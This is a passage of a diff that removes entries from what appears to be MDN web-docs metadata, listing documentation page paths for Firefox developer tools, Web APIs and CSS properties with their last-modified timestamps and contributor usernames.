"2020-07-16T22:34:34.516Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "Tools/Page_Inspector/How_to/Inspect_and_select_colors": { - "modified": "2020-07-16T22:34:35.181Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "Tools/Page_Inspector/How_to/Open_the_Inspector": { - "modified": "2020-07-16T22:34:33.099Z", - "contributors": [ - "Anonymous", - "wbamberg" - ] - }, - "Tools/Page_Inspector/How_to/Reposition_elements_in_the_page": { - "modified": "2020-07-16T22:34:46.213Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "Tools/Page_Inspector/How_to/Use_the_Inspector_API": { - "modified": "2020-07-16T22:34:45.056Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "Tools/Page_Inspector/How_to/Visualize_transforms": { - "modified": "2020-07-16T22:34:39.722Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "Tools/Page_Inspector/How_to/Work_with_animations": { - "modified": "2020-07-16T22:34:37.073Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "Tools/Page_Inspector/Keyboard_shortcuts": { - "modified": "2020-07-16T22:34:52.351Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "Tools/Page_Inspector/UI_Tour": { - "modified": "2020-07-16T22:34:49.596Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "Tools/Performance": { - "modified": "2020-07-16T22:36:13.622Z", - "contributors": [ - "Anonymous", - "wbamberg" - ] - }, - "Tools/Performance/Call_Tree": { - "modified": "2020-07-16T22:36:20.006Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "Tools/Performance/Frame_rate": { - "modified": "2020-07-16T22:36:19.201Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "Tools/Performance/How_to": { - "modified": "2020-07-16T22:36:21.955Z", - "contributors": [ - "Anonymous", - "wbamberg" - ] - }, - "Tools/Performance/UI_Tour": { - "modified": "2020-07-16T22:36:15.326Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "Tools/Performance/Waterfall": { - "modified": "2020-07-16T22:36:18.250Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "Tools/Remote_Debugging": { - "modified": "2020-07-16T22:35:37.988Z", - "contributors": [ - "Anonymous", - "wbamberg", - "Joao_Silva27" - ] - }, - "Tools/Remote_Debugging/Debugging_Firefox_Desktop": { - "modified": "2020-07-16T22:35:41.262Z", - "contributors": [ - "Anonymous" - ] - }, - "Tools/Remote_Debugging/Thunderbird": { - "modified": "2020-07-16T22:35:40.059Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "Tools/Responsive_Design_Mode": { - "modified": "2020-07-16T22:35:22.282Z", - "contributors": [ - "Anonymous" - ] - }, - "Tools/Settings": { - "modified": "2020-07-16T22:36:35.515Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "Tools/Storage_Inspector": { - "modified": "2020-07-16T22:36:10.303Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "Tools/Style_Editor": { - "modified": "2020-07-16T22:35:01.029Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "Tools/Taking_screenshots": { - "modified": "2020-07-16T22:36:38.620Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "Tools/Tools_Toolbox": { - "modified": "2020-07-16T22:35:28.091Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "Tools/Web_Audio_Editor": { - "modified": "2020-07-16T22:36:08.692Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "Tools/Web_Console": { - "modified": "2020-07-16T22:34:07.526Z", - "contributors": [ - "Anonymous", - "wbamberg" - ] - }, - "Tools/Web_Console/Console_messages": { - "modified": "2020-07-16T22:34:16.005Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "Tools/Web_Console/Helpers": { - "modified": "2020-07-16T22:34:13.111Z", - "contributors": [ - "Anonymous", - "wbamberg" - ] - }, - "Tools/Web_Console/Keyboard_shortcuts": { - "modified": "2020-07-16T22:34:23.988Z", - "contributors": [ - "Anonymous" - ] - }, - "Tools/Web_Console/Rich_output": { - "modified": "2020-07-16T22:34:20.453Z", - "contributors": [ - "Anonymous" - ] - }, - "Tools/Web_Console/Split_console": { - "modified": "2020-07-16T22:34:21.158Z", - "contributors": [ - "Anonymous", - "wbamberg" - ] - }, - "Tools/Web_Console/The_command_line_interpreter": { - "modified": "2020-07-16T22:34:19.541Z", - "contributors": [ - "Anonymous" - ] - }, - "Tools/Web_Console/UI_Tour": { - "modified": "2020-07-16T22:34:17.467Z", - "contributors": [ - "Anonymous", - "wbamberg" - ] - }, - "Tools/about:debugging": { - "modified": "2020-07-16T22:36:33.106Z", - "contributors": [ - "Anonymous", - "wbamberg" - ] - }, - "Web": { - "modified": "2020-05-03T13:08:13.142Z", - "contributors": [ - "Anonymous", - "polonia", - "didi9999", - "joao-neves95", - "carlosrainhaaraujo", - "ethertank" - ] - }, - "Web/API": { - "modified": "2019-03-23T22:39:25.827Z", - "contributors": [ - "Anonymous", - "teoli", - "carlosrainhaaraujo" - ] - }, - "Web/API/Ambient_Light_Events": { - "modified": "2020-10-15T22:07:41.555Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/API/Animation": { - "modified": "2020-10-15T22:09:54.586Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/API/AudioNode": { - "modified": "2019-03-23T22:12:47.243Z", - "contributors": [ - "trusktr" - ] - }, - "Web/API/Battery_Status_API": { - "modified": "2019-03-18T21:29:01.750Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/API/Blob": { - "modified": "2020-10-15T22:32:41.617Z", - "contributors": [ - "Yayure" - ] - }, - "Web/API/Blob/Blob": { - "modified": "2020-11-16T10:19:01.877Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/API/Blob/size": { - "modified": "2020-10-15T22:32:50.862Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/API/Blob/type": { - "modified": "2020-10-15T22:33:10.637Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/API/Canvas_API": { - "modified": "2019-03-23T22:01:56.072Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/API/Canvas_API/Tutorial": { - "modified": "2019-03-18T21:24:18.272Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/API/Client": { - "modified": "2020-10-15T22:03:06.133Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/API/CloseEvent": { - "modified": "2020-10-15T22:32:54.165Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/API/CloseEvent/CloseEvent": { - "modified": "2020-10-15T22:32:51.831Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/API/DOMString": { - "modified": "2020-08-12T17:28:52.261Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/API/Document": { - "modified": "2019-07-02T18:26:33.145Z", - "contributors": [ - "Anonymous", - "chrisdavidmills" - ] - }, - "Web/API/Document/alinkColor": { - "modified": "2019-03-24T00:04:44.971Z", - "contributors": [ - "teoli", - "italo" - ] - }, - "Web/API/Document/bgColor": { - "modified": "2019-03-24T00:04:41.203Z", - "contributors": [ - "teoli", - "italo" - ] - }, - "Web/API/Document/cookie": { - "modified": "2019-03-19T14:20:57.798Z", - "contributors": [ - "lucasrenod", - "SphinxKnight", - "gadelhas", - "teoli", - "italo" - ] - }, - "Web/API/Document/dir": { - "modified": "2019-03-23T23:22:09.179Z", - "contributors": [ - "khalid32", - "carlosrainhaaraujo" - ] - }, - "Web/API/Document/getElementsByClassName": { - "modified": "2019-12-02T03:58:42.536Z", - "contributors": [ - "jestevespereira", - "khalid32", - "teoli", - "Leandro Mercês Xavier", - "Verruckt" - ] - }, - "Web/API/Document/querySelector": { - "modified": "2020-10-15T22:32:00.428Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/API/Document/visibilitychange_event": { - "modified": "2019-04-08T07:39:14.855Z", - "contributors": [ - "irenesmith", - "Anonymous" - ] - }, - "Web/API/Document_Object_Model": { - "modified": "2019-03-23T23:25:55.220Z", - "contributors": [ - "Anonymous", - "Brettz9" - ] - }, - "Web/API/Document_object_model/Using_the_W3C_DOM_Level_1_Core": { - "modified": "2019-12-13T21:06:18.400Z", - "contributors": [ - "wbamberg", - "Anonymous", - "ethertank", - "fferracioli" - ] - }, - "Web/API/Element": { - "modified": "2020-10-15T21:16:02.585Z", - "contributors": [ - "Anonymous", - "MauroBonucci", - "khalid32", - "Leandro Mercês Xavier", - "Davis.peixoto", - "Codigo13" - ] - }, - "Web/API/Element/clientLeft": { - "modified": "2019-03-23T23:49:26.792Z", - "contributors": [ - "khalid32", - "teoli", - "Leandro Mercês Xavier", - "Verruckt" - ] - }, - "Web/API/Element/clientTop": { - "modified": "2019-03-23T23:49:30.994Z", - "contributors": [ - "AshfaqHossain", - "teoli", - "Leandro Mercês Xavier", - "Verruckt" - ] - }, - "Web/API/File": { - "modified": "2020-10-15T22:32:24.351Z", - "contributors": [ - "Yayure" - ] - }, - "Web/API/File/File": { - "modified": "2020-10-15T22:33:11.221Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/API/File/fileName": { - "modified": "2020-08-08T18:37:05.171Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/API/File/fileSize": { - "modified": "2020-08-08T18:32:45.995Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/API/File/getAsBinary": { - "modified": "2020-08-11T04:16:46.870Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/API/File/getAsDataURL": { - "modified": "2020-08-08T18:57:17.906Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/API/File/getAsText": { - "modified": "2020-08-11T05:01:57.694Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/API/File/lastModified": { - "modified": "2020-10-17T08:26:52.375Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/API/File/lastModifiedDate": { - "modified": "2020-10-15T22:32:46.653Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/API/File/mozFullPath": { - "modified": "2020-08-08T18:43:12.882Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/API/File/name": { - "modified": "2020-10-15T22:32:23.452Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/API/File/type": { - "modified": "2020-10-15T22:32:40.925Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/API/File/webkitRelativePath": { - "modified": "2020-11-17T19:01:45.948Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/API/FileReader": { - "modified": "2019-03-18T21:16:40.698Z", - "contributors": [ - "Sheppy" - ] - }, - "Web/API/FileReader/abort": { - "modified": "2020-10-15T22:32:42.433Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/API/FileReader/error": { - "modified": "2020-10-15T22:32:24.839Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/API/FileReader/readAsArrayBuffer": { - "modified": "2020-10-15T22:33:15.086Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/API/FileReader/readAsBinaryString": { - "modified": "2020-10-15T21:37:25.343Z", - "contributors": [ - "joaonunomota", - "DouglasValdo" - ] - }, - "Web/API/FileReader/readAsDataURL": { - "modified": "2020-10-15T22:34:36.565Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/API/FileReader/readAsText": { - "modified": "2020-10-15T22:34:36.289Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/API/FileReader/readyState": { - "modified": "2020-11-15T12:35:45.700Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/API/FileReader/result": { - "modified": "2020-10-15T22:33:14.048Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/API/FileSystem": { - "modified": "2020-10-15T21:46:44.138Z", - "contributors": [ - "joaonunomota", - "Anonymous" - ] - }, - "Web/API/File_and_Directory_Entries_API": { - "modified": "2019-03-18T21:46:51.385Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/API/Geolocation": { - "modified": "2019-03-23T22:01:56.989Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/API/Geolocation_API": { - "modified": "2020-10-15T21:59:09.308Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/API/MathMLElement": { - "modified": "2020-10-15T22:33:03.137Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/API/MediaDevices": { - "modified": "2019-03-23T22:01:16.705Z", - "contributors": [ - "jpmedley" - ] - }, - "Web/API/Media_Streams_API": { - "modified": "2019-03-23T22:12:44.463Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/API/MessageEvent": { - "modified": "2020-10-15T22:32:51.894Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/API/Metadata": { - "modified": "2019-03-18T21:46:51.094Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/API/NavigatorOnLine": { - "modified": "2019-03-23T22:01:59.308Z", - "contributors": [ - "chrisdavidmills" - ] - }, - "Web/API/NavigatorOnLine/Online_and_offline_events": { - "modified": "2019-03-23T23:49:32.329Z", - "contributors": [ - "SphinxKnight", - "chrisdavidmills", - "Leandro Mercês Xavier", - "Roli", - "Verruckt" - ] - }, - "Web/API/Node": { - "modified": "2019-03-23T23:22:11.442Z", - "contributors": [ - "khalid32", - "carlosrainhaaraujo" - ] - }, - "Web/API/Node/appendChild": { - "modified": "2019-03-23T23:43:33.351Z", - "contributors": [ - "khalid32", - "teoli", - "Leandro Mercês Xavier", - "Wingedx" - ] - }, - "Web/API/Node/cloneNode": { - "modified": "2019-09-30T14:07:35.240Z", - "contributors": [ - "semisse", - "SphinxKnight", - "guerreirogabriel", - "Diogok", - "Glauco.basilio", - "Codigo13", - "Leandro Mercês Xavier" - ] - }, - "Web/API/Node/insertBefore": { - "modified": "2019-03-23T23:46:00.401Z", - "contributors": [ - "jsx", - "Codigo13" - ] - }, - "Web/API/Notifications_API": { - "modified": "2019-03-23T22:42:31.459Z", - "contributors": [ - "Sebastianz" - ] - }, - "Web/API/Notifications_API/Using_the_Notifications_API": { - "modified": "2019-03-23T22:42:28.564Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/API/Page_Visibility_API": { - "modified": "2019-03-18T21:42:30.274Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/API/Push_API": { - "modified": "2019-03-18T21:38:04.203Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/API/Selection": { - "modified": "2019-03-24T00:02:03.808Z", - "contributors": [ - "SphinxKnight", - "danielwebsistemas" - ] - }, - "Web/API/Service_Worker_API": { - "modified": "2019-10-08T09:27:10.284Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/API/Service_Worker_API/Using_Service_Workers": { - "modified": "2019-10-08T09:25:19.208Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/API/SharedWorker": { - "modified": "2020-10-15T21:59:02.760Z", - "contributors": [ - "joaonunomota", - "Anonymous" - ] - }, - "Web/API/Storage_API": { - "modified": "2020-10-15T22:08:44.199Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/API/URLSearchParams": { - "modified": "2019-10-16T11:18:10.261Z", - "contributors": [ - "NunoJSantos", - "goldyteam" - ] - }, - "Web/API/WebGLRenderingContext": { - "modified": "2020-10-15T21:59:21.576Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/API/WebGL_API": { - "modified": "2020-10-15T21:46:44.276Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/API/WebGL_API/Constants": { - "modified": "2019-03-23T22:01:30.802Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/API/WebGL_API/Data": { - "modified": "2019-03-23T22:01:33.105Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/API/WebGL_API/Types": { - "modified": "2019-03-23T22:01:33.867Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/API/WebGL_API/Using_Extensions": { - "modified": "2019-03-23T22:01:32.555Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/API/WebRTC_API": { - "modified": "2019-03-23T22:12:46.226Z", - "contributors": [ - "Anonymous", - "Gurigraphics" - ] - }, - "Web/API/WebRTC_API/Taking_still_photos": { - "modified": "2019-03-23T22:12:45.154Z", - "contributors": [ - "fscholz", - "wbamberg", - "Anonymous" - ] - }, - "Web/API/WebSocket": { - "modified": "2020-10-15T22:32:53.586Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/API/WebSocket/WebSocket": { - "modified": "2020-10-15T22:33:03.555Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/API/WebSockets_API": { - "modified": "2020-10-15T22:32:45.764Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/API/WebSockets_API/Writing_WebSocket_client_applications": { - "modified": "2020-08-11T17:49:59.287Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/API/WebSockets_API/Writing_WebSocket_server": { - "modified": "2020-12-04T13:57:23.773Z", - "contributors": [ - "peterbe", - "joaonunomota" - ] - }, - "Web/API/WebSockets_API/Writing_WebSocket_servers": { - "modified": "2020-09-18T06:53:14.308Z", - "contributors": [ - "blunderous", - "joaonunomota" - ] - }, - "Web/API/WebSockets_API/Writing_a_WebSocket_server_in_Java": { - "modified": "2020-08-24T20:03:27.920Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/API/Web_Audio_API": { - "modified": "2019-03-23T22:12:41.433Z", - "contributors": [ - "Anonymous", - "erikadoyle" - ] - }, - "Web/API/Web_Audio_API/Using_Web_Audio_API": { - "modified": "2019-03-23T22:12:48.158Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/API/Web_Authentication_API": { - "modified": "2020-10-15T22:03:06.934Z", - "contributors": [ - "fscholz", - "Anonymous" - ] - }, - "Web/API/Web_Storage_API": { - "modified": "2019-03-24T00:00:51.877Z", - "contributors": [ - "khalid32", - "Verruckt", - "Leandro Mercês Xavier" - ] - }, - "Web/API/Web_Workers_API": { - "modified": "2019-03-23T22:02:18.370Z", - "contributors": [ - "VsevolodGolovanov" - ] - }, - "Web/API/Web_Workers_API/Functions_and_classes_available_to_workers": { - "modified": "2019-03-23T22:02:20.388Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/API/Web_Workers_API/Using_web_workers": { - "modified": "2019-03-23T22:02:15.177Z", - "contributors": [ - "allanfoppa", - "Anonymous" - ] - }, - "Web/API/Window": { - "modified": "2019-03-23T22:01:06.730Z", - "contributors": [ - "Anonymous", - "goeffthomas" - ] - }, - "Web/API/Window/console": { - "modified": "2019-03-18T21:44:07.205Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/API/Window/open": { - "modified": "2019-03-23T22:01:10.139Z", - "contributors": [ - "SphinxKnight", - "Anonymous" - ] - }, - "Web/API/Window/postMessage": { - "modified": "2019-06-04T14:57:56.992Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/API/Window/sidebar": { - "modified": "2019-03-18T21:37:22.693Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/API/Worker": { - "modified": "2019-03-23T22:02:29.683Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/API/XMLHttpRequest": { - "modified": "2020-10-15T21:59:27.066Z", - "contributors": [ - "fscholz", - "Anonymous" - ] - }, - "Web/API/notification": { - "modified": "2019-03-23T22:51:36.861Z", - "contributors": [ - "Anonymous", - "Japroriple" - ] - }, - "Web/Accessibility": { - "modified": "2019-09-09T14:20:12.758Z", - "contributors": [ - "SphinxKnight", - "Anonymous", - "teoli", - "Verruckt", - "Kayalemao", - "RuiMaciel", - "Karla pa", - "GrandeBuzina" - ] - }, - "Web/Accessibility/ARIA": { - "modified": "2019-03-18T21:47:01.413Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/Accessibility/ARIA/ARIA_Techniques": { - "modified": "2020-09-18T21:14:54.007Z", - "contributors": [ - "Wind1808" - ] - }, - "Web/Accessibility/ARIA/ARIA_Techniques/Using_the_status_role": { - "modified": "2020-09-19T05:54:31.819Z", - "contributors": [ - "Painatalman" - ] - }, - "Web/CSS": { - "modified": "2020-06-10T07:53:42.003Z", - "contributors": [ - "joaonunomota", - "SphinxKnight", - "Anonymous", - "Fernando-SilvaBR", - "albertocastro", - "teoli", - "Verruckt", - "Leandro Mercês Xavier", - "Takenbot", - "RuiMaciel" - ] - }, - "Web/CSS/::after": { - "modified": "2019-03-24T00:00:16.761Z", - "contributors": [ - "teoli", - "Verruckt", - "Luis Henrique Sousa" - ] - }, - "Web/CSS/::before": { - "modified": "2019-03-24T00:00:19.264Z", - "contributors": [ - "teoli", - "Verruckt", - "Luis Henrique Sousa" - ] - }, - "Web/CSS/@font-face": { - "modified": "2019-03-23T23:13:15.857Z", - "contributors": [ - "fscholz", - "teoli", - "Verruckt", - "Leandro Mercês Xavier" - ] - }, - "Web/CSS/@import": { - "modified": "2019-03-23T23:47:07.977Z", - "contributors": [ - "Anonymous", - "teoli", - "Verruckt", - "Luis Henrique Sousa" - ] - }, - "Web/CSS/@media": { - "modified": "2020-04-25T11:58:21.640Z", - "contributors": [ - "myspeleo", - "diogo-panaca", - "Anonymous", - "teoli", - "Verruckt", - "Luis Henrique Sousa" - ] - }, - "Web/CSS/Alternative_style_sheets": { - "modified": "2019-03-23T23:53:49.046Z", - "contributors": [ - "teoli", - "FelipeMorais" - ] - }, - "Web/CSS/At-rule": { - "modified": "2019-03-23T22:24:56.828Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/CSS/CSS_Backgrounds_and_Borders": { - "modified": "2019-03-23T22:44:16.974Z", - "contributors": [ - "teoli" - ] - }, - "Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds": { - "modified": "2019-03-24T00:04:47.389Z", - "contributors": [ - "Anonymous", - "teoli", - "Verruckt" - ] - }, - "Web/CSS/CSS_Box_Model": { - "modified": "2019-03-23T22:12:41.880Z", - "contributors": [ - "Sebastianz" - ] - }, - "Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model": { - "modified": "2019-03-23T22:12:42.813Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/CSS/CSS_Colors/Color_picker_tool": { - "modified": "2019-04-28T14:53:13.655Z", - "contributors": [ - "diogo-panaca" - ] - }, - "Web/CSS/CSS_Columns": { - "modified": "2019-03-18T21:38:41.627Z", - "contributors": [ - "mfluehr" - ] - }, - "Web/CSS/CSS_Flexible_Box_Layout": { - "modified": "2019-03-18T21:44:02.737Z", - "contributors": [ - "rachelandrew" - ] - }, - "Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container": { - "modified": "2019-06-11T07:33:08.010Z", - "contributors": [ - "BIGBenfica9", - "Anonymous" - ] - }, - "Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items": { - "modified": "2019-07-22T03:58:30.968Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods": { - "modified": "2019-03-18T21:43:58.441Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox": { - "modified": "2019-03-18T21:43:55.771Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/CSS/CSS_Grid_Layout": { - "modified": "2020-04-12T22:44:10.924Z", - "contributors": [ - "carlosaffrc", - "Anonymous" - ] - }, - "Web/CSS/CSS_Transforms/Using_CSS_transforms": { - "modified": "2019-03-24T00:04:50.895Z", - "contributors": [ - "teoli", - "Verruckt", - "Leandro Mercês Xavier", - "Jürgen Jeka" - ] - }, - "Web/CSS/CSS_Types": { - "modified": "2019-03-18T21:23:17.150Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/CSS/Media_Queries": { - "modified": "2020-10-15T22:17:12.623Z", - "contributors": [ - "diogo-panaca" - ] - }, - "Web/CSS/Media_Queries/Using_media_queries": { - "modified": "2019-04-09T16:57:57.913Z", - "contributors": [ - "diogo-panaca", - "Anonymous", - "Sebastianz", - "mrstork", - "teoli", - "Verruckt", - "Leandro Mercês Xavier" - ] - }, - "Web/CSS/Paged_Media": { - "modified": "2019-03-23T22:24:57.103Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/CSS/Pseudo-classes": { - "modified": "2019-03-18T21:15:25.227Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/CSS/Pseudo-elements": { - "modified": "2019-03-18T21:23:11.174Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/CSS/Reference": { - "modified": "2020-07-20T13:36:56.218Z", - "contributors": [ - "joaonunomota", - "Anonymous", - "teoli", - "Moacir Bispo", - "Verruckt" - ] - }, - "Web/CSS/Replaced_element": { - "modified": "2019-03-23T22:32:04.311Z", - "contributors": [ - "andrekutianski", - "josketres" - ] - }, - "Web/CSS/Shorthand_properties": { - "modified": "2019-03-18T21:44:05.610Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/CSS/background": { - "modified": "2019-03-23T23:46:35.449Z", - "contributors": [ - "SphinxKnight", - "teoli", - "Verruckt", - "Luis Henrique Sousa" - ] - }, - "Web/CSS/background-attachment": { - "modified": "2019-03-23T23:12:53.495Z", - "contributors": [ - "SphinxKnight", - "teoli", - "Verruckt" - ] - }, - "Web/CSS/background-color": { - "modified": "2019-03-23T22:16:20.029Z", - "contributors": [ - "SphinxKnight", - "teoli", - "Verruckt", - "ethertank" - ] - }, - "Web/CSS/background-image": { - "modified": "2019-03-23T23:47:07.090Z", - "contributors": [ - "SphinxKnight", - "teoli", - "Verruckt" - ] - }, - "Web/CSS/background-position": { - "modified": "2019-03-23T23:47:05.241Z", - "contributors": [ - "teoli", - "Verruckt" - ] - }, - "Web/CSS/background-repeat": { - "modified": "2019-03-18T21:15:14.751Z", - "contributors": [ - "SphinxKnight", - "teoli", - "Verruckt" - ] - }, - "Web/CSS/border": { - "modified": "2019-01-16T15:59:54.146Z", - "contributors": [ - "teoli", - "Verruckt", - "Luis Henrique Sousa" - ] - }, - "Web/CSS/border-bottom": { - "modified": "2019-03-23T23:47:10.248Z", - "contributors": [ - "wbamberg", - "teoli", - "Verruckt" - ] - }, - "Web/CSS/border-bottom-color": { - "modified": "2019-03-23T23:47:06.644Z", - "contributors": [ - "wbamberg", - "teoli", - "Verruckt" - ] - }, - "Web/CSS/border-bottom-style": { - "modified": "2019-03-23T23:47:07.572Z", - "contributors": [ - "wbamberg", - "teoli", - "Verruckt" - ] - }, - "Web/CSS/border-bottom-width": { - "modified": "2019-03-23T23:47:10.824Z", - "contributors": [ - "wbamberg", - "teoli", - "Verruckt" - ] - }, - "Web/CSS/border-collapse": { - "modified": "2019-03-23T23:47:06.488Z", - "contributors": [ - "wbamberg", - "teoli", - "Verruckt" - ] - }, - "Web/CSS/border-color": { - "modified": "2019-03-24T00:02:05.127Z", - "contributors": [ - "wbamberg", - "teoli", - "gerson23", - "Verruckt" - ] - }, - "Web/CSS/border-left": { - "modified": "2019-01-16T15:59:39.346Z", - "contributors": [ - "teoli", - "Verruckt" - ] - }, - "Web/CSS/border-left-color": { - "modified": "2019-01-16T19:20:48.785Z", - "contributors": [ - "teoli", - "Verruckt" - ] - }, - "Web/CSS/border-left-style": { - "modified": "2019-01-16T15:59:50.769Z", - "contributors": [ - "teoli", - "Verruckt" - ] - }, - "Web/CSS/border-left-width": { - "modified": "2019-01-16T16:00:08.928Z", - "contributors": [ - "teoli", - "Verruckt" - ] - }, - "Web/CSS/border-right": { - "modified": "2019-01-16T15:59:50.709Z", - "contributors": [ - "teoli", - "Verruckt" - ] - }, - "Web/CSS/border-right-color": { - "modified": "2019-01-16T15:59:44.072Z", - "contributors": [ - "teoli", - "Verruckt" - ] - }, - "Web/CSS/border-right-style": { - "modified": "2019-01-16T15:59:50.407Z", - "contributors": [ - "teoli", - "Verruckt" - ] - }, - "Web/CSS/border-right-width": { - "modified": "2019-01-16T16:00:01.042Z", - "contributors": [ - "teoli", - "Verruckt" - ] - }, - "Web/CSS/border-spacing": { - "modified": "2019-03-23T23:47:07.851Z", - "contributors": [ - "wbamberg", - "teoli", - "Verruckt" - ] - }, - "Web/CSS/border-top": { - "modified": "2019-01-17T10:27:59.370Z", - "contributors": [ - "teoli", - "Verruckt" - ] - }, - "Web/CSS/border-top-color": { - "modified": "2019-01-16T19:20:46.774Z", - "contributors": [ - "teoli", - "Verruckt" - ] - }, - "Web/CSS/border-top-style": { - "modified": "2019-01-16T15:59:52.923Z", - "contributors": [ - "teoli", - "Verruckt" - ] - }, - "Web/CSS/border-top-width": { - "modified": "2019-01-16T16:00:01.372Z", - "contributors": [ - "teoli", - "Verruckt" - ] - }, - "Web/CSS/border-width": { - "modified": "2019-03-23T23:12:52.902Z", - "contributors": [ - "wbamberg", - "teoli", - "Verruckt" - ] - }, - "Web/CSS/bottom": { - "modified": "2019-01-16T16:00:22.463Z", - "contributors": [ - "teoli", - "Verruckt" - ] - }, - "Web/CSS/clear": { - "modified": "2019-03-23T23:35:13.332Z", - "contributors": [ - "wbamberg", - "teoli", - "Luis Henrique Sousa", - "Verruckt" - ] - }, - "Web/CSS/color": { - "modified": "2019-01-16T19:20:48.419Z", - "contributors": [ - "teoli", - "Verruckt", - "Luis Henrique Sousa" - ] - }, - "Web/CSS/content": { - "modified": "2019-03-24T00:02:07.101Z", - "contributors": [ - "teoli", - "Half-blood" - ] - }, - "Web/CSS/counter-increment": { - "modified": "2019-03-23T23:47:04.420Z", - "contributors": [ - "teoli", - "Verruckt" - ] - }, - "Web/CSS/counter-reset": { - "modified": "2019-03-23T23:47:10.117Z", - "contributors": [ - "teoli", - "Verruckt" - ] - }, - "Web/CSS/cursor": { - "modified": "2019-03-24T00:02:03.227Z", - "contributors": [ - "wbamberg", - "teoli", - "Half-blood", - "Verruckt" - ] - }, - "Web/CSS/direction": { - "modified": "2019-01-16T16:56:47.948Z", - "contributors": 